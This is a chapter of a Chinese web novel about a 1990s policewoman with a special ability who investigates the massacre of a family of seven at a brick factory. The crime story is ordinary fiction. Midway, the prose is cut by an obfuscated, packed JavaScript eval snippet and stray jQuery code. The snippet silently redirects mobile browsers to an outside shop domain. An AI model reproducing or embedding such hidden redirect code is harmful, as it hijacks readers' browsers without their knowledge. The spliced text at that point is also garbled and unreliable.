文趣网 > 其他小说 > 九零红名图鉴 > 16. 第 16 章
    祝同舟把思绪从祁越身上收回,重新落在了门框上那道痕迹上。

    痕检正拿着软尺两者高度,“一米七五。”他报了个数,旁边的人快速用笔记了下来,然后立刻拍照。

    “从痕迹走向来看,是钝器斜向下往里面剐蹭过去的。可能是棍子之类的东西,力气不小,一下就把漆皮蹭掉了。”

    “凶手个子不矮,从外往里造成的,可能是在用钝器击打蒋梅梅的过程中造成。”祝同舟接着道:“门上就只有这一处痕迹吗?”

    痕检点了点头,目前就只有这一处。

    “一击毙命。”张晓军道。

    祝同舟看了看地上用粉笔描出来的轮廓和地上还透着猩红的泥土,“现场有找到对应的带血迹的工具吗?”

    “没有。”旁边有人摇了摇头,“里里外外都翻了一遍,凶手心理素质很强,在灭门后还把现场打扫了一遍,现场很干净,估计凶器也被带走销毁了。”

    祝同舟微微颔首,换试了一遍现场,一股说不上来的感受从胸口涌上,堵在喉咙里,像是一团湿漉漉又不断繁殖的棉花,让她吞不下吐不出。

    先前赵雪梅的尸骨被挖出来的时候,她离得远,又是已经白骨化的,对她的冲击力没有那么大。

    但现在直面满屋子的血腥气,祝同舟的脸色还是有些难看。

    张晓军看了过来,拍了拍祝同舟的肩膀道:“小祝,你去外面透透气,待会儿咱们一块儿回去。”

    祝同舟点点头,没有推辞这份好意。

    出了房门,祝同舟深吸一口气,血腥气还是在鼻尖萦绕不去,闭了闭眼,祝同舟准备去砖厂后面的小路看看情况。

    张晓军体谅她,但她不能一辈子都不直面现场。

    红名存在一天,那些被显化的罪行就没有办法让她逃避。她不想只做一个依靠特殊能力的刑警。

    再睁开眼,祝同舟已经整理好了心情,眼前却突然出现了一个保温杯。

    保温杯?

    怎么会在这里出现?

    祝同舟顺着保温杯往旁边看去,祁越正举着保温杯看着她,眼中满是‘你怎么还不接过去’的意思。

    “给我的?”祝同舟试探性地发问。

    “当然。”祁越点头,“第一次出现场吧,脸白的都可以直接去演聂小倩了。”

    说着,不由分说地将保温杯塞到了祝同舟怀里。

    “拿着喝吧,我第一次出现场表现比你还糟糕,不用强忍着。”

    祝同舟愣住了,看了看怀中的保温杯,又看了看对她笑着比了个‘噤声’手势又转身回到屋子里观察现场的祁越,颇有些摸不着头脑,那句‘我们认识吗?’最后还是没有问出口。

    管他呢,有好东西为什么不收。

    众目睽睽之下,总不至于给她下毒吧。

    祝同舟拧开保温杯,喝了一口。

    入口是预料之外的清甜,带着淡淡的梨子香,软糯的银耳顺着喉咙很快就滑了下去。

    银耳雪梨汤。

    和妈妈的手艺很像。

    祝同舟合上杯盖,按下了过去追问的想法,转身往砖厂后面的土路走去。

    路上长了不少杂草,雨后清新的空气和胃里暖暖的感觉让让她的恶心散去不少。

    土路上的血腥味几乎被昨晚的雨水冲刷干净,只留下了一点轻微的铁锈味。

    先前已经有勘查将尸体抬走,并井周围的线索整理拍照归档了,在土路上的人并不多,只有零星几个在路边的草丛中寻找着些什么。

    祝同舟叫住了一位前辈,“同志,这是在找什么?”

    被拉住的人看了看她身上的警服道:“这条路上死的是厂长的妹夫张海洋,死前和凶手有过搏斗,我们找找看周围有没有遗留下来的物证。”

    整个监控几乎为零的时代,所有的证据都是要靠这样一寸寸找出来的。

    祝同舟松开手,没有加入到搜寻的队伍当中,来到了地上标注出来的张海洋死亡的地点。

    这里原本是还有一辆自行车的,现在已经被当做证物先带走了。

    祝同舟蹲下身,仔细看着地上的车辙印。

    是从土路外面往厂里走的,前面的车辙印还是清楚的,到了土路中断就变得凌乱如何消失。

    祝同舟看了看地面的痕迹,心下了然。

    她之前的判断要推翻了,凶手杀死的第一个人并不是蒋梅梅,而是张海洋。

    甚至张海洋还是认识凶手的!

    昨天的雨下的断断续续,傍晚时分下了一场,到半夜又是一场暴雨。

    凶手应该是在第一场雨和第二场与雨的间隙之间来到了砖厂,残忍杀害了一家七口。

    地上的车辙印一开始入土很深,应该是张海洋带着凶手在往砖厂走,只是到了半途,凶手突然翻脸,杀死了张海洋。

    这个凶手要从张海洋的人际关系入手去查。

    祝同舟心里有了判断,和来找她的张晓军一同回了队里。

    回到队里,几乎到处都是人,张晓军摇摇头,让周华和祝同舟去打几份饭回来。

    去大饭店路上,周华偷偷和祝同舟说:“你是没到里面去看,这个凶手简直是个纯粹的变态!屋子里到处都是血,从餐桌到后面连着的几间屋子,追着受害者杀,屋子里被翻得一塌糊涂。”

    “钱呢?全都不见了?”

    周华点头,“何止钱不见了,我听现场有人说,连蒋梅梅耳朵上的金耳环都被拿走了,耳垂都被扯烂了。”

    一个求财的凶手……

    祝同舟低头想着,如果是用搜寻财务来掩盖自己真实目的的话,凶手不会细心到连耳环都不放过。

    祝同舟又问:“屋子里被翻得很乱吗?”

    周华想了想,点了点头又摇摇头,“其实也没有多乱,主要是人四散逃跑时候把好多东西都撞乱了,柜子和箱子留下的翻开的痕迹,好像更多也是凶手在寻找这些跑掉的人。”

    “我听那个祁队说,凶手的目标很明确,就是为了钱来的,而且他对这个家也很了解,知道钱都放在那些地方。下手干净利落,很可能在一两个小时内就完成了屠杀。”

    祝同舟心里一跳,又是祁越。

    摇头把这只狐狸甩出脑袋,祝同舟感觉自己有了一个凶手的基础画像。

    当然,不是指那种只靠目击者描绘,就能像打印机一样画出来的基础画像。

    而是根据凶手在现场留下的痕迹,揣摩其心理的犯罪心理画像。

    一个身强体壮,认识张海洋,为财而来的人。

    等到吃过午饭,已经是下午时分了。

    中间张晓军进进出出几趟,脸都是黑沉沉的,程刚也带着人从砖厂回来了,午饭也没吃,直奔三楼的会议室。

    周华小声道:“上面的电话来了好几个了,程队估计头都大了。”

    祝同舟同样小声问道:“什么线索都没有吗?一个目击证人都没有?”

    周华摇头,“砖厂本来就地处偏僻,平常就没什么人去,法医那边说案发时间又是半夜,一个目击证人都没有。足迹专家那边还在比对现场留下的几个脚印,那好像是现场唯一发现的直接关联凶手的证据。”

    祝同舟听得头大,只想回到二十一世纪,起码无处不在的天眼系统下,总能找到嫌疑人的蛛丝马迹。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746651|209248||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    可惜她现在身处的是九十年代,足迹对比全靠人工,画像只靠目击证人。

    不过,我可是有外挂的人。

    祝同舟眼中狡黠的亮光一闪而过。

    但很快,祝同舟就又蔫了下来。

    红名的确可以帮她精准锁定凶手,但有个前提,她得先看到凶手。

    现在距离案发已经过去了十几个小时,凶手估计早就逃窜了。

    楼上会议室的气氛也相当凝重,省厅的电话打了两三个,语气一次比一次沉重。会议室的众人哪怕没接到电话,光是看看参会的人员心里也有了数。

    会议室里坐着的,都是盛京市周围出名的刑侦骨干,平常在省厅领奖的时候才能齐聚一堂。

    接到报警后两小时,就成立了‘513专案组’。

    整个案子,已经不是淮安区刑警大队主导的了。

    上首位置是一位气质沉稳的中年男人,面容严肃,是省厅刑侦处的副处长周建国,这次被点将过来坐镇专案组。

    “多余的话我就不多说了,相信看到案件资料和现场的同志都明白案件的严重性都明白。省厅对这个案子高度重视,高厅长已经表态了,限期二十天破案,二十天之内,专案组所有人、所有资源省厅全力保障。”

    “同志们,一家七条人命,上到七十岁的老人,下到三岁的孩子,我们面对的是一个穷凶极恶的凶手。七口人躺在太平间里,等着我们给一个交代!”

    周建国缓了缓语气,“大家有什么发现,畅所欲言,不要藏着掖着,都一起说出来讨论讨论。”

    说着指了指在翻资料的祁越道:“小祁,你一直在翻资料,说说吧有没有什么发现。”

    祁越站起身,不躲不避地对上满堂的目光,走到了另一头立着的白板前,先前身上的书卷气全收了回去,像是终于出鞘的绝世宝刀。

    祁越快速地在白板上画了一个简单的砖厂地形图。

    “凶手是从外往里杀的,第一个毙命的是张海洋,接着才是屋子里的其他人。所有人都是先被钝器击打又在脖子上连砍几刀,有两个人和其他人不太一样。”

    祁越在白板上圈出来两个地方。

    “死在外面的张海洋,他是被勒死的,整个人的脸却被砸烂了。还有一个是死在屋子里的张海洋三岁的儿子张扬,凶手是用枕头捂着他的脸进行击打的。”

    “这个人和张海洋认识,是被他请来的,路上两个人可能起了冲突,或者两个人本来就有矛盾,因为路上的一些话加剧了矛盾,从而导致了悲剧。”

    案情分析会开到半夜。等祝同舟从倚叠如山的足迹图中抬头的时候,三楼的灯还亮着。

    祝同舟原本打算在位置上凑活一宿,免得明天还得早起。

    身后就响起了一道放轻了的柔和又沙哑的嗓音。

    “银耳汤好喝吗?”

    祝同舟转头,是祁越。

    “你怎么在这?”

    祁越笑着说:“一个问题换一个问题。你先告诉我银耳汤好不好喝,我再回答你。”

    “……好喝。”

    早上的汤味道确实不错,祝同舟说不出违心的话来。

    “我就说嘛,那可是我和韩老师特意学的,一定好喝。”

    祁越身后要是有尾巴,现在一定翘到天上去了。

    “我在这,当然是等着送你回去了。”

    “送我回去?”祝同舟一愣,“等等,你说的韩老师是我妈妈韩璐?”

    “不然呢?”

    祁越眯着眼笑,脸上却是遮不住的疲惫。

    “小竹筒,赏光让我送你回家呗。不然我回家得挨骂的。”